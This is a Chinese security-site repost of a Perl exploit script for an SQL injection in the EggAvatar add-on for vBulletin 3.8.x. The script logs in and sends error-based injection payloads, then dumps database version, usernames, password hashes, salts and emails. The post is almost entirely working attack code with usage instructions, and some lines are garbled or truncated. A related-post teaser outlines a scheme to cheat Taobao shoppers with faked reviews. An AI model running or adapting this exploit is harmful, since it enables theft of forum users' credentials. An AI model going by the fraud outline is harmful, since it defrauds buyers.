vBulletin 3.8.x eggavatar.php 注入 漏洞

admin 2021年4月3日18:52:22评论46 views字数 3502阅读11分40秒阅读模式

EggAvatar for vBulletin 3.8.x SQL Injection Vulnerability:

#!/usr/bin/env perl
use LWP::UserAgent;
sub banner{
print "###################################n";
print "############ DSecurity ############n";
print "###################################n";
print "# Email:dsecurity.vn[at]gmail.com #n";
print "###################################n";
}
if(@ARGV
 print "Usage: $0 address username password number_user sleeptimen";
 print "Example: $0 http://localhost/vbb test test 10 10n";
 exit();
}
$ua=LWP::UserAgent->new();
$ua->agent("DSecurity");
$ua->cookie_jar({});
sub login(@){
 my $username=shift;
 my $password=shift;
 my $req = HTTP::Request->new(POST => $ARGV[0].'/login.php?do=login');
 $req->content_type('application/x-www-form-urlencoded');
 $req->content("vb_login_username=$username&vb_login_passwor=$password&s=&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&do=login&vb_login_md5password=&vb_login_md5password_utf=");
 my $res = $ua->request($req);
}
sub v_request{
 #Declare
 $print = $_[0];
 $select = $_[1];
 $from = $_[2];
 $where = $_[3];
 $limit = $_[4];
 $sleep = $ARGV[4];
 if ($from eq '') {$from = 'information_schema.tables';}
 if ($where eq '') {$where = '1';}
 if ($limit eq '') {$limit = '0';}
 if ($sleep eq '') {$sleep = '10';}
 
 # Create a request
 my $req = HTTP::Request->new(POST => $ARGV[0].'/eggavatar.php');
 $req->content_type('application/x-www-form-urlencoded');
 $req->content('do=addegg&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&eggavatar=1'."' and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((select $select  from  $from  WHERE $where limit $limit,1),FLOOR(RAND(1)*3))foo FROM information_schema.tables GROUP BY foo)a)-- -'&uid=1&pid=1");
 # Pass request to the user agent and get a response back
 my $res = $ua->request($req);
 #print $res->content;
 if($res->content =~ /(MySQL Error)(.*?)'(.*?)0'(.*)/)
     {$test = $3};
 sleep($sleep);
 return $print.$test."n";
}
&banner;
print "n#############################################################################################################n";
print "# EggAvatar for vBulletin 3.8.x SQL Injection Vulnerability                                                 #n";
print "# Date:06-03-2011                                                                                           #n";
print "# Author: DSecurity                                                         #n";
print "# Software Link: http://www.vbteam.info/vb-3-8-x-addons-and-template-modifications/19079-tk-egg-avatar.html #n";
print "# Version: 2.3.2                                                                                            #n";
print "# Tested on: vBulletin 3.8.0                                                                                #n";
print "#############################################################################################################n";

#login
login($ARGV[1],$ARGV[2]);
#Foot print
print v_request('MySQL version: ','@@version');
print v_request('Data dir: ','@@datadir');
print v_request('User: ','user()');
print v_request('Database: ','database()'); 
#Get user
for($i=1;$i
 print "-----------------------------------------n";
 print $id = v_request('ID: ','userid','user','1',$i-1);
 if($id =~ /(ID:)s(.*)/){
  print v_request('Group: ','usergroupid','user','userid='.$2);
  print v_request('Username: ','username','user','userid='.$2);
  print v_request('Password: ','password','user','userid='.$2);
  print v_request('Salt: ','salt','user','userid='.$2);
  print v_request('Email: ','email','user','userid='.$2);
 }
   
}

文章来源于lcx.cc:vBulletin 3.8.x eggavatar.php 注入 漏洞

相关推荐: 淘宝一星期【骗】20万的可行性过程分析

声明:本人从没搞过这个,只是从可行性上分析,是否真正可行,不知。。。 1.找人搞个淘宝店【反正就是搞个可以开店发布产品的店】 2.店开起来,找几个卖的火的数码产品,比如平板电脑,自己加几个群,刷信誉,然后评价10多个评价,写的真实点,评语好点。 3.原价标70…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日18:52:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vBulletin 3.8.x eggavatar.php 注入 漏洞http://cn-sec.com/archives/318977.html

发表评论

匿名网友 填写信息